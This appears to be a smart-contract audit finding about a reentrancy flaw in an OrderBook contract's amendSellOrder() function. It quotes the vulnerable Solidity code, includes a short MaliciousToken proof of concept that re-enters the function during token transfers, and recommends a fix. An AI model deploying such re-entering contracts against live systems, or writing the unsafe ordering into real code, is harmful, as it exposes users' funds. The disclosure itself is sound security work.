CEI Pattern Violation in amendSellOrder() Enables Reentrancy Attacks
Description
The amendSellOrder() function should safely modify an existing sell order by adjusting token amounts (transferring additional tokens to contract or returning excess tokens to seller) and updating order parameters atomically without risk of reentrancy.
Specific Issue
The function violates the Checks-Effects-Interactions (CEI) pattern by making external calls (safeTransferFrom/safeTransfer) before completing all state updates, creating a reentrancy vulnerability that allows malicious token contracts to re-enter the function during token transfers.
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
if (_newAmountToSell > order.amountToSell) {
uint256 diff = _newAmountToSell - order.amountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
uint256 diff = order.amountToSell - _newAmountToSell;
token.safeTransfer(order.seller, diff);
}
order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC;
order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
Risk
Likelihood:
These legitimate tokens are unlikely to contain malicious reentrancy code
However, the vulnerability exists and could be exploited if any whitelisted token had non-standard behavior
Impact:
-
Malicious token contracts could re-enter during safeTransferFrom or safeTransfer
-
Attacker could manipulate order state before original amendments are applied
-
Could lead to inconsistent order state, double-spending of amendments, or fund manipulation
-
More complex than createSellOrder due to bidirectional token transfers
Proof of Concept
contract MaliciousToken {
OrderBook orderBook;
uint256 targetOrderId;
bool attacking;
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (!attacking && to == address(orderBook)) {
attacking = true;
orderBook.amendSellOrder(targetOrderId, 500, 2000, 172800);
}
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
if (!attacking && to != address(orderBook)) {
attacking = true;
orderBook.amendSellOrder(targetOrderId, 1500, 3000, 259200);
}
return true;
}
}
Recommended Mitigation
Follow the Checks-Effects-Interactions pattern by moving all state updates before external calls.
Alternatively, add a reentrancy guard.